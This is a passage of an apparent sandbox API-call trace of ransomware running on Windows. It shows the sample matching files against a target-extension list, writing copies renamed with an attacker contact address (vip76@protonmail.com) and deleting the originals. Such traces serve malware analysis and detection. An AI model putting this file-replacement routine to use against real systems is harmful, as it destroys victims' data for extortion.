	[0183.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.288] lstrlenW (lpString=".dbf") returned 4
	[0183.288] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.288] lstrlenW (lpString=".1cd") returned 4
	[0183.288] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.288] lstrlenW (lpString=".jpg") returned 4
	[0183.289] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.289] lstrlenW (lpString=".doc") returned 4
	[0183.289] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.289] lstrlenW (lpString=".docx") returned 5
	[0183.289] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.289] lstrlenW (lpString=".pdf") returned 4
	[0183.289] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.289] lstrlenW (lpString=".xls") returned 4
	[0183.289] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.289] lstrlenW (lpString=".xlsx") returned 5
	[0183.289] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.289] lstrlenW (lpString=".ppt") returned 4
	[0183.289] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.289] lstrlenW (lpString=".zip") returned 4
	[0183.289] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.289] lstrlenW (lpString=".rar") returned 4
	[0183.289] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.289] lstrlenW (lpString=".bz2") returned 4
	[0183.289] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.289] lstrlenW (lpString=".7z") returned 3
	[0183.289] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.289] lstrlenW (lpString=".dbf") returned 4
	[0183.289] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.289] lstrlenW (lpString=".1cd") returned 4
	[0183.289] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0183.290] lstrlenW (lpString=".jpg") returned 4
	[0183.290] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.290] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0183.290] lstrlenW (lpString="J0099149.WMF") returned 12
	[0183.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.290] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=73214) returned 1
	[0183.291] CloseHandle (hObject=0x4ac) returned 1
	[0183.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220
	[0183.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.291] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.291] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.292] GetLastError () returned 0x0
	[0183.292] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x11dfe, lpOverlapped=0x0) returned 1
	[0183.296] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x11e00, lpOverlapped=0x0) returned 1
	[0183.866] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.866] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.867] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.867] CloseHandle (hObject=0x5bc) returned 1
	[0183.867] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.867] SetEndOfFile (hFile=0x4ac) returned 1
	[0183.871] CloseHandle (hObject=0x4ac) returned 1
	[0183.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1
	[0183.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.874] lstrlenW (lpString=".doc") returned 4
	[0183.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.874] lstrlenW (lpString=".docx") returned 5
	[0183.874] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0183.874] lstrlenW (lpString=".pdf") returned 4
	[0183.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.874] lstrlenW (lpString=".xls") returned 4
	[0183.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.874] lstrlenW (lpString=".xlsx") returned 5
	[0183.874] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0183.874] lstrlenW (lpString=".ppt") returned 4
	[0183.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.874] lstrlenW (lpString=".zip") returned 4
	[0183.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.874] lstrlenW (lpString=".rar") returned 4
	[0183.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.874] lstrlenW (lpString=".bz2") returned 4
	[0183.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.874] lstrlenW (lpString=".7z") returned 3
	[0183.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.875] lstrlenW (lpString=".dbf") returned 4
	[0183.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.875] lstrlenW (lpString=".1cd") returned 4
	[0183.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.875] lstrlenW (lpString=".jpg") returned 4
	[0183.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.875] lstrlenW (lpString=".doc") returned 4
	[0183.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.875] lstrlenW (lpString=".docx") returned 5
	[0183.875] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0183.875] lstrlenW (lpString=".pdf") returned 4
	[0183.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.875] lstrlenW (lpString=".xls") returned 4
	[0183.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.875] lstrlenW (lpString=".xlsx") returned 5
	[0183.875] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0183.875] lstrlenW (lpString=".ppt") returned 4
	[0183.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.876] lstrlenW (lpString=".zip") returned 4
	[0183.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.876] lstrlenW (lpString=".rar") returned 4
	[0183.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.876] lstrlenW (lpString=".bz2") returned 4
	[0183.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.876] lstrlenW (lpString=".7z") returned 3
	[0183.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.876] lstrlenW (lpString=".dbf") returned 4
	[0183.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.876] lstrlenW (lpString=".1cd") returned 4
	[0183.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0183.876] lstrlenW (lpString=".jpg") returned 4
	[0183.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.876] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0183.876] lstrlenW (lpString="J0099158.WMF") returned 12
	[0183.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.877] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=26160) returned 1
	[0183.878] CloseHandle (hObject=0x4ac) returned 1
	[0183.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220
	[0183.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.878] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.878] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.879] GetLastError () returned 0x0
	[0183.879] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x6630, lpOverlapped=0x0) returned 1
	[0183.882] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x6640, lpOverlapped=0x0) returned 1
	[0183.884] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.884] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.884] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.884] CloseHandle (hObject=0x5bc) returned 1
	[0183.884] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.884] SetEndOfFile (hFile=0x4ac) returned 1
	[0183.889] CloseHandle (hObject=0x4ac) returned 1
	[0183.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.891] lstrlenW (lpString=".doc") returned 4
	[0183.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.891] lstrlenW (lpString=".docx") returned 5
	[0183.891] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0183.891] lstrlenW (lpString=".pdf") returned 4
	[0183.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.891] lstrlenW (lpString=".xls") returned 4
	[0183.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.891] lstrlenW (lpString=".xlsx") returned 5
	[0183.891] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0183.891] lstrlenW (lpString=".ppt") returned 4
	[0183.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.891] lstrlenW (lpString=".zip") returned 4
	[0183.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.891] lstrlenW (lpString=".rar") returned 4
	[0183.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.891] lstrlenW (lpString=".bz2") returned 4
	[0183.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.891] lstrlenW (lpString=".7z") returned 3
	[0183.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.891] lstrlenW (lpString=".dbf") returned 4
	[0183.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.891] lstrlenW (lpString=".1cd") returned 4
	[0183.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.892] lstrlenW (lpString=".jpg") returned 4
	[0183.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.892] lstrlenW (lpString=".doc") returned 4
	[0183.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.892] lstrlenW (lpString=".docx") returned 5
	[0183.892] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0183.892] lstrlenW (lpString=".pdf") returned 4
	[0183.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.892] lstrlenW (lpString=".xls") returned 4
	[0183.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.892] lstrlenW (lpString=".xlsx") returned 5
	[0183.892] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0183.892] lstrlenW (lpString=".ppt") returned 4
	[0183.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.892] lstrlenW (lpString=".zip") returned 4
	[0183.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.892] lstrlenW (lpString=".rar") returned 4
	[0183.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.892] lstrlenW (lpString=".bz2") returned 4
	[0183.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.892] lstrlenW (lpString=".7z") returned 3
	[0183.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.892] lstrlenW (lpString=".dbf") returned 4
	[0183.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.893] lstrlenW (lpString=".1cd") returned 4
	[0183.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0183.893] lstrlenW (lpString=".jpg") returned 4
	[0183.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.893] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0183.893] lstrlenW (lpString="J0099159.WMF") returned 12
	[0183.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.895] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=27546) returned 1
	[0183.895] CloseHandle (hObject=0x4ac) returned 1
	[0183.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220
	[0183.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0183.895] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.896] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.897] GetLastError () returned 0x0
	[0183.897] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x6b9a, lpOverlapped=0x0) returned 1
	[0183.899] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x6ba0, lpOverlapped=0x0) returned 1
	[0183.901] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.901] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.901] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.901] CloseHandle (hObject=0x5bc) returned 1
	[0184.241] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.241] SetEndOfFile (hFile=0x4ac) returned 1
	[0184.248] CloseHandle (hObject=0x4ac) returned 1
	[0184.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0184.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.749] lstrlenW (lpString=".doc") returned 4
	[0184.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.749] lstrlenW (lpString=".docx") returned 5
	[0184.749] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.749] lstrlenW (lpString=".pdf") returned 4
	[0184.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.749] lstrlenW (lpString=".xls") returned 4
	[0184.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.749] lstrlenW (lpString=".xlsx") returned 5
	[0184.749] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.749] lstrlenW (lpString=".ppt") returned 4
	[0184.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.749] lstrlenW (lpString=".zip") returned 4
	[0184.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.749] lstrlenW (lpString=".rar") returned 4
	[0184.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.749] lstrlenW (lpString=".bz2") returned 4
	[0184.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.750] lstrlenW (lpString=".7z") returned 3
	[0184.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
